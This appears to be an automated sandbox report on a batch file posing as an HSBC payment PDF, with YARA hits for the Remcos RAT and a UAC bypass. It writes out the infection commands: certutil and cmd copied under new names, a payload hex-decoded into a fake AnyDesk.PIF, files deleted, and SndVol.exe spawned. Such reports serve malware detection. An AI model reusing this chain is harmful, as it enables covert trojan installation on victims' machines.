Source: 23.2.SndVol.exe.2c00000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 10.2.AnyDesk.PIF.2d30000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 10.2.AnyDesk.PIF.2d30000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 0000000A.00000002.1519993639.000000007E810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 0000000A.00000002.1498580149.0000000002DB7000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: AnyDesk.PIF PID: 7748, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: SndVol.exe PID: 8072, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: SndVol.exe PID: 5612, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: SndVol.exe PID: 7296, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.bank.troj.evad.winBAT@41/22@3/4

Source: C:\Users\Public\alpha.exe

Code function: 4_2_00007FF6A0E732B0 _get_osfhandle,GetConsoleScreenBufferInfo,WriteConsoleW,wcschr,FormatMessageW,GetConsoleScreenBufferInfo,WriteConsoleW,GetStdHandle,FlushConsoleInputBuffer,GetConsoleMode,SetConsoleMode,_getch,SetConsoleMode,GetConsoleScreenBufferInfo,FillConsoleOutputCharacterW,SetConsoleCursorPosition,GetLastError,GetLastError,

4_2_00007FF6A0E732B0

Source: C:\Users\Public\kn.exe

Code function: 7_2_00007FF68FCE826C GetCurrentThread,GetLastError,#357,OpenThreadToken,GetLastError,GetCurrentProcess,GetLastError,OpenProcessToken,GetLastError,AdjustTokenPrivileges,GetLastError,GetLastError,CloseHandle,CloseHandle,

7_2_00007FF68FCE826C

Source: C:\Users\Public\alpha.exe

Code function: 4_2_00007FF6A0E9FB54 memset,GetDiskFreeSpaceExW,??_V@YAXPEAX@Z,

4_2_00007FF6A0E9FB54

Source: C:\Users\Public\kn.exe

Code function: 7_2_00007FF68FC48F80 VariantInit,#357,#358,#359,CoCreateInstance,VariantClear,#357,VariantClear,SysFreeString,

7_2_00007FF68FC48F80

Source: C:\Users\Public\kn.exe

Code function: 7_2_00007FF68FCC6320 FindResourceW,GetLastError,#357,LoadResource,GetLastError,LockResource,GetLastError,

7_2_00007FF68FCC6320

Source: C:\Windows\System32\extrac32.exe

File created: C:\Users\Public\alpha.exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7904:120:WilError_03
Source: C:\Windows\SysWOW64\SndVol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-H5EBMC
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7504:120:WilError_03

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\USD470900_COPY_800BLHSBC882001.PDF.bat" "

Source: C:\Users\Public\Libraries\AnyDesk.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\System32\extrac32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: USD470900_COPY_800BLHSBC882001.PDF.bat

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\USD470900_COPY_800BLHSBC882001.PDF.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\USD470900_COPY_800BLHSBC882001.PDF.bat" "C:\\Users\\Public\\AnyDesk.jpeg" 9
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\USD470900_COPY_800BLHSBC882001.PDF.bat" "C:\\Users\\Public\\AnyDesk.jpeg" 9
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\Libraries\AnyDesk.PIF C:\Users\Public\Libraries\AnyDesk.PIF
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.jpeg" / A / F / Q / S
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\hgkvgoaF.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\Public\Libraries\AnyDesk.PIF /d C:\\Users\\Public\\Libraries\\Faogvkgh.PIF /o
Source: C:\Windows\SysWOW64\esentutl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe
Source: unknown	Process created: C:\Users\Public\Libraries\Faogvkgh.PIF "C:\Users\Public\Libraries\Faogvkgh.PIF"
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe
Source: unknown	Process created: C:\Users\Public\Libraries\Faogvkgh.PIF "C:\Users\Public\Libraries\Faogvkgh.PIF"
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\USD470900_COPY_800BLHSBC882001.PDF.bat" "C:\\Users\\Public\\AnyDesk.jpeg" 9	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\Libraries\AnyDesk.PIF C:\Users\Public\Libraries\AnyDesk.PIF	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.jpeg" / A / F / Q / S	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\USD470900_COPY_800BLHSBC882001.PDF.bat" "C:\\Users\\Public\\AnyDesk.jpeg" 9	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\hgkvgoaF.cmd" "	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\Public\Libraries\AnyDesk.PIF /d C:\\Users\\Public\\Libraries\\Faogvkgh.PIF /o	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o	Jump to behavior
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: certcli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: certca.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: certcli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: certca.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\Public\kn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: url.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ???????.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
